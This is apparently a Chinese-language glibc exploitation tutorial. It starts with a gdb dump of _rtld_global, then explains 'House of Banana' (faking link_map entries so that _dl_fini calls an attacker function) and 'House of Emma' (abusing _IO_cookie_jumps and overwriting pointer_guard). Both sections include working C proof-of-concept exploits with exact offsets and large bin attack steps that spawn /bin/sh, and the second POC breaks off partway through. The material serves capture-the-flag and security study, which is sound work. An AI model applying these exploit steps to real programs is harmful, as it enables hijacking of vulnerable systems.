__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0x0
}
},
_dl_load_adds = 0x4,
_dl_initfirst = 0x0,
_dl_cpuclock_offset = 0x117f04aeec,
_dl_profile_map = 0x0,
_dl_num_relocations = 0x53,
_dl_num_cache_relocations = 0x3,
_dl_all_dirs = 0x7ffff7ffec20,
_dl_error_catch_tsd = 0x7ffff7dd7c80 <_dl_initial_error_catch_tsd>,
_dl_rtld_map = {
l_addr = 0x7ffff7dd7000,
l_name = 0x3ff2a8 "/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so",
l_ld = 0x7ffff7ffce80,
l_next = 0x0,
l_prev = 0x7ffff7ff5000,
l_real = 0x7ffff7ffd9d8 <_rtld_global+2456>,
l_ns = 0x0,
l_libname = 0x7ffff7ffe020 <_dl_rtld_libname>,
l_info = {0x0, 0x0, 0x7ffff7ffcf00, 0x7ffff7ffcef0, 0x7ffff7ffce90,
0x7ffff7ffceb0, 0x7ffff7ffcec0, 0x7ffff7ffcf30, 0x7ffff7ffcf40,
0x7ffff7ffcf50, 0x7ffff7ffced0, 0x7ffff7ffcee0, 0x0, 0x0,
0x7ffff7ffce80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcf10, 0x0, 0x0,
0x7ffff7ffcf20, 0x0 <repeats 12 times>, 0x7ffff7ffcf70, 0x7ffff7ffcf60,
0x0, 0x0, 0x7ffff7ffcf90, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x7ffff7ffcf80, 0x0 <repeats 25 times>, 0x7ffff7ffcea0},
l_phdr = 0x7ffff7dd7040,
l_entry = 0x0,
l_phnum = 0x7,
l_ldnum = 0x0,
l_searchlist = {
r_list = 0x0,
r_nlist = 0x0
},
l_symbolic_searchlist = {
r_list = 0x0,
r_nlist = 0x0
},
l_loader = 0x0,
l_versions = 0x7ffff7ff58b8,
l_nversions = 0x6,
l_nbuckets = 0x11,
l_gnu_bitmask_idxbits = 0x3,
l_gnu_shift = 0x8,
l_gnu_bitmask = 0x7ffff7dd72c0,
{
l_gnu_buckets = 0x7ffff7dd72e0,
l_chain = 0x7ffff7dd72e0
},
{
l_gnu_chain_zero = 0x7ffff7dd731c,
l_buckets = 0x7ffff7dd731c
},
l_direct_opencount = 0x0,
l_type = lt_library,
l_relocated = 0x1,
l_init_called = 0x1,
l_global = 0x1,
l_reserved = 0x0,
l_phdr_allocated = 0x0,
l_soname_added = 0x0,
l_faked = 0x0,
l_need_tls_init = 0x0,
l_auditing = 0x0,
l_audit_any_plt = 0x0,
l_removed = 0x0,
l_contiguous = 0x0,
l_symbolic_in_local_scope = 0x0,
l_free_initfini = 0x0,
l_rpath_dirs = {
dirs = 0x0,
malloced = 0x0
},
l_reloc_result = 0x0,
l_versyms = 0x7ffff7dd77f0,
l_origin = 0x0,
l_map_start = 0x7ffff7dd7000,
l_map_end = 0x7ffff7ffe168,
l_text_end = 0x7ffff7df57c0,
l_scope_mem = {0x0, 0x0, 0x0, 0x0},
l_scope_max = 0x0,
l_scope = 0x0,
l_local_scope = {0x0, 0x0},
l_file_id = {
dev = 0x0,
ino = 0x0
},
l_runpath_dirs = {
dirs = 0x0,
malloced = 0x0
},
l_initfini = 0x0,
l_reldeps = 0x0,
l_reldepsmax = 0x0,
l_used = 0x1,
l_feature_1 = 0x0,
l_flags_1 = 0x0,
l_flags = 0x0,
l_idx = 0x0,
l_mach = {
plt = 0x0,
gotplt = 0x0,
tlsdesc_table = 0x0
},
l_lookup_cache = {
sym = 0x7ffff7dd7450,
type_class = 0x1,
value = 0x7ffff7ff5000,
ret = 0x7ffff7a13ba0
},
l_tls_initimage = 0x0,
l_tls_initimage_size = 0x0,
l_tls_blocksize = 0x0,
l_tls_align = 0x0,
l_tls_firstbyte_offset = 0x0,
l_tls_offset = 0x0,
l_tls_modid = 0x0,
l_tls_dtor_count = 0x0,
l_relro_addr = 0x225bc0,
l_relro_size = 0x440,
l_serial = 0x0,
l_audit = 0x7ffff7ffde48 <_rtld_global+3592>
},
audit_data = {{
cookie = 0x0,
bindflags = 0x0
} <repeats 16 times>},
_dl_rtld_lock_recursive = 0x7ffff7dd7c90 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7dd7ca0 <rtld_lock_default_unlock_recursive>,
_dl_make_stack_executable_hook = 0x7ffff7deb0e0 <__GI__dl_make_stack_executable>,
_dl_stack_flags = 0x6,
_dl_tls_dtv_gaps = 0x0,
_dl_tls_max_dtv_idx = 0x1,
_dl_tls_dtv_slotinfo_list = 0x7ffff7ff5948,
_dl_tls_static_nelem = 0x1,
_dl_tls_static_size = 0x1000,
_dl_tls_static_used = 0x78,
_dl_tls_static_align = 0x40,
_dl_initial_dtv = 0x7ffff7ff3010,
_dl_tls_generation = 0x1,
_dl_init_static_tls = 0x7ffff7de3130 <_dl_nothread_init_static_tls>,
_dl_wait_lookup_done = 0x0,
_dl_scope_free_list = 0x0
}

我们看到里面有多个 _dl_ns 结构体,调试发现,该结构体存储着的实际就是 elf 各段的符号结构体。当调用到 _dl_fini 函数时,会执行每个 so 中注册的 fini 函数,其中主要是 fini_array 段的动态链接结构体指针,该结构体实际在 _dl_fini 中被使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
void
internal_function
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.

To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */

/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
/* Now we can allocate an array to hold all the pointers and
copy the pointers in. */
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

/* Now we have to do the sorting. */
_dl_sort_fini (maps, nmaps, NULL, ns);

/* We do not rely on the linked list of loaded object anymore
from this point on. We have our own list here (maps). The
various members of this list cannot vanish since the open
count is too high and will be decremented in this loop. So
we release the lock so that some code which might be called
from a destructor can directly or indirectly access the
lock. */
__rtld_lock_unlock_recursive (GL(dl_load_lock));

/* 'maps' now contains the objects in the right order. Now
call the destructors. We have to process this array from
the front. */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

#ifdef SHARED
/* Auditing checkpoint: another object closed. */
if (!do_audit && __builtin_expect (GLRO(dl_naudit) > 0, 0))
{
struct audit_ifaces *afct = GLRO(dl_audit);
for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
{
if (afct->objclose != NULL)
/* Return value is ignored. */
(void) afct->objclose (&l->l_audit[cnt].cookie);

afct = afct->next;
}
}
#endif
}

/* Correct the previous increment. */
--l->l_direct_opencount;
}
}
}

#ifdef SHARED
if (! do_audit && GLRO(dl_naudit) > 0)
{
do_audit = 1;
goto again;
}

if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_STATISTICS))
_dl_debug_printf ("\nruntime linker statistics:\n"
" final number of relocations: %lu\n"
"final number of relocations from cache: %lu\n",
GL(dl_num_relocations),
GL(dl_num_cache_relocations));
#endif
}

只要伪造 rtld_global 结构体就可以使得 array 指向我们可控的数据区,从而伪造好一系列函数,进而劫持程序的流。可以触发 call 的有两个点,第一个点可以 call 到很多指针,是一个数组;另一个点就只有一个函数。剩下的工作就是根据代码绕过检测,调用到调用点,需要注意的是,有时候远程的 rtld_global 的偏移与本地不一样,需要爆破。house of banana便是利用large bin attackrtld_global 写入堆的地址,并事先在堆里伪造好rtld_global结构体,这样程序exit或者正常退出 main 函数时,便会执行到伪造的函数,此时若我们将函数伪造成one_gadget或者system 则可以 get shell

利用思路:

  • 直接伪造_rtld_global_ns_loaded,布局好其他内容,使其调用到fini_array
  • 伪造link_mapnext指针,布局好其他内容,使其调用到fini_array
  • 修改link_map->l_addr,根据偏移使其调用到指定区域的函数

试用场景:

  • 程序能够显式的执行 exit 函数
  • 程序通过 libc_start_main 启动的主函数,且主函数能够结束

需绕过的点:

劫持&(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) = fake

  • check0fake+0x28 = fake

maps 必须要有四个元素,所以我劫持的是第三个节点的 next 指针这样不会破环长度从而绕过下面的两个断言。劫持时只需在_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next处写入 fake 就行,这时可以使用 large bin attack

1
2
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);

为了能写入 maps[i] = l;,需要绕过 if (l == l->l_real),所以fake+0x28 (offset is 0x28)处要写入 fake 自己的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */

ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */

/* All following members are internal to the dynamic linker.
They may change without notice. */

/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;
......
}

if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
  • check1glibc_2.23==>fake+0x314 = 0x1c || glibc_2.31==>fake+0x31c = 0x1c

是个枚举体中成员 l_init_called,由于各版本有所差异,所以还是现查现用。

1
2
3
4
5
6
7
8
9
struct link_map
{
...
unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
unsigned int l_global:1; /* Nonzero if object in _dl_global_scope. */
unsigned int l_reserved:2; /* Reserved for internal use. */
...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void
_dl_fini (void)
{
[...]
/* 'maps' now contains the objects in the right order. Now
call the destructors. We have to process this array from
the front. */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
...
}
  • check2&check3l->l_info[DT_FINI_ARRAY] != NULL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void
_dl_fini (void)
{
[...]
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",DSO_FILENAME (l->l_name),ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
...
}
  • 控制 arrayi

fake+0x110 写入的内容会直接控制 array,在 fake+0x120 写入的内容会控制i,只要把fake+0x120,fake+0x110 控制好就可以控制最后的((fini_t) array[i]) ();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct link_map
{
[...]
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */

ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
[...]
}
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void
_dl_fini (void)
{
[...]
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
[...]
}

需要在fake+0x110写入一个 ptr,且 ptr+0x8 处有 ptr2ptr2 处写入的是最后要执行的函数地址,需要在fake+0x120写入一个ptr,且 ptr+0x8 处是i*8。例如fake+0x110写入fake+0x40,在fake+0x48写入fake+0x58,在fake+0x58写入 shell,在fake+0x120写入fake+0x48,在fake+0x50处写入 8

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>


void shell()
{
system("/bin/sh");
}

uint64_t getLibcBase()
{
uint64_t to;
uint64_t from;
char buf[0x400];

FILE* file;
sprintf(buf, "/proc/%d/maps",(int)getpid());
file = fopen(buf, "r");
while(fgets(buf, sizeof(buf), file))
{
if(strstr(buf,"libc")!=NULL)
{
sscanf(buf, "%lx-%lx", &from, &to);
fclose(file);
return from;
}
}
}

int main()
{
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

uint64_t libcBase = getLibcBase();
// ldBase + 0x2e060
/*
* rtld_global_ptr与libc_base的偏移在本地与远程并不是固定的,可能会在地址的第2字节处发生变化,因此可以爆破256种可能得 * 到远程环境的精确偏移
*/
uint64_t rtld_global = libcBase + 0x23b060;

// distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
uint64_t* next_node = (uint64_t*)(rtld_global-0x49048);

uint64_t *p1 = malloc(0x428);
uint64_t *g1 = malloc(0x18);

uint64_t *p2 = malloc(0x418);
uint64_t *g2 = malloc(0x18);
uint64_t fake = (uint64_t)p2-0x10;

*(uint64_t*)(fake+0x28) = fake;
*(uint64_t*)(fake+0x31c) = 0x1c;
*(uint64_t*)(fake+0x110) = fake+0x40;
*(uint64_t*)(fake+0x48) = fake+0x58;
*(uint64_t*)(fake+0x58) = (uint64_t)shell;
*(uint64_t*)(fake+0x120) = fake+0x48;
*(uint64_t*)(fake+0x50) = 0x8;

free(p1);
uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
free(p2);
p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin

p2[1] = 0;
p2[3] = fake;

return 0;
}

House of Emma

glibc > 2.23

原理

vtable 段中存在一个 _IO_cookie_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};

_IO_cookie_file 有如下定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Special file type for fopencookie function.  */
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read; /* Read bytes. */
cookie_write_function_t *write; /* Write bytes. */
cookie_seek_function_t *seek; /* Seek/tell file position. */
cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;

其中的函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
static _IO_ssize_t
_IO_cookie_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif

if (read_cb == NULL)
return -1;

return read_cb (cfile->__cookie, buf, size);
}

static _IO_ssize_t
_IO_cookie_write (_IO_FILE *fp, const void *buf, _IO_ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif

if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}

_IO_ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;

return n;
}

static _IO_off64_t
_IO_cookie_seek (_IO_FILE *fp, _IO_off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif

return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (_IO_off64_t) -1)
? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (_IO_FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif

if (close_cb == NULL)
return 0;

return close_cb (cfile->__cookie);
}

可以看到上面代码的函数调用前都被PTR_DEMANGLE加密了,其定义如下:

1
2
3
4
extern uintptr_t __pointer_chk_guard attribute_relro;
#define PTR_MANGLE(var) \
(var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
#define PTR_DEMANGLE(var) PTR_MANGLE (var)

这段宏定义的操作是将函数指针 ROR 循环右移 11 位然后与 fs:[0x30] 异或得到真正的函数地址。解密时首先异或 pointer_guard,然后循环左移 0x11 位。

1
2
3
4
5
6
7
8
9
10
11
12
//sysdeps/x86_64/nptl/tls.h
typedef struct {
void *tcb; /* 指向TCB */
dtv_t *dtv; /* 指向dtv数组 */
void *self; /* 指向自身 */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; /* canary值 */
uintptr_t pointer_guard; /* 用于保护指针 */
//...
} tcbhead_t;

fs:[0x28]tls 上存储的 canary,根据 tcbhead_t 结构体的定义,fs[0x30]pointer_guard ,用于对指针进行加密。我们可以先泄露堆地址和 libc 基地址,然后利用 large bin attacktls 对应 pointer_guard 上写一个 chunk 地址,从而绕过指针保护。除此之外还需要让 _lock指向一块可写内存。

调用链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

int
__fxprintf (FILE *fp, const char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
int res = __vfxprintf (fp, fmt, ap, 0);
va_end (ap);
return res;
}

int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (fp == NULL)
fp = stderr;
_IO_flockfile (fp);
int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
_IO_funlockfile (fp);
return res;
}

static int
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (_IO_fwide (fp, 0) <= 0)
return __vfprintf_internal (fp, fmt, ap, mode_flags);
...
}

# define vfprintf __vfprintf_internal

int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
...
outstring ((const UCHAR_T *) format,
lead_str_end - (const UCHAR_T *) format);
...
}

#define outstring(String, Len) \
do { \
const void *string_ = (String); \
done = outstring_func(s, string_, (Len), done); \
if (done < 0) \
goto all_done; \
} while (0)

# define PUT(F, S, N) _IO_sputn ((F), (S), (N))

static inline int
outstring_func (FILE *s, const UCHAR_T *string, size_t length, int done)
{
assert ((size_t) done <= (size_t) INT_MAX);
if ((size_t) PUT (s, string, length) != (size_t) (length))
return -1;
return done_add_func (length, done);
}

利用条件

  • 或者可以进行任意地址写堆地址;
  • 可以触发 IO 流操作。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define GETSHELL_MODE 1
#define ORW_MODE 2

// IMPORTANT! YOU CAN CHANGE THE MODE HERE
int mode = ORW_MODE;
char* sh = "/bin/sh";
char* flag = "./flag";
size_t space[0x100];

int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
puts("\033[32mHello! today let's learn something about house of emma.\033[0m");
puts("\033[32m本程序用于演示house of emma的漏洞利用原理。\033[0m");
puts("\033[1;31mTested in Ubuntu 22.04, glibc version: Ubuntu GLIBC 2.35-0ubuntu3.1\033[0m");
puts("\033[1;31m测试环境:Ubuntu 22.04,glibc版本为2.35-0ubuntu3.1\033[0m");
puts("\033[32mHouse of emma is used for high version of glibc, it utilizes _IO_FILE struct to exploit.\033[0m");
puts("\033[32mhouse of emma 适用于高版本glibc,它使用_IO_FILE结构体进行漏洞利用。\033[0m");
puts("\033[32mSame as other way of exploitation with _IO_FILE, it also use fake _IO_FILE struct.\033[0m");
puts("\033[32m与其他利用_IO_FILE结构体漏洞的方法相同,它也利用了伪造的_IO_FILE结构体。\n\033[0m");
puts("\033[32mIt can be triggered by function __malloc_assert, so it always go with heap vulnerabilities.\033[0m");
puts("\033[32m它可以通过函数__malloc_assert触发,因此它常常与堆漏洞相联系。\033[0m");
puts("\033[32mFirst we need to know the structure of _IO_FILE in glibc 2.35:\033[0m"
"\033[32m首先我们需要了解一下glibc 2.35版本下_IO_FILE结构体的内容:\n\033[0m"
"\033[33m(line 49, /libio/bits/types/struct_FILE.h)\033[0m");
puts("\033[34mstruct _IO_FILE\n"
"{\n"
" int _flags;\t\t/* High-order word is _IO_MAGIC; rest is flags. */\n"
"\n"
" /* The following pointers correspond to the C++ streambuf protocol. */\n"
" char *_IO_read_ptr;\t/* Current read pointer */\n"
" char *_IO_read_end;\t/* End of get area. */\n"
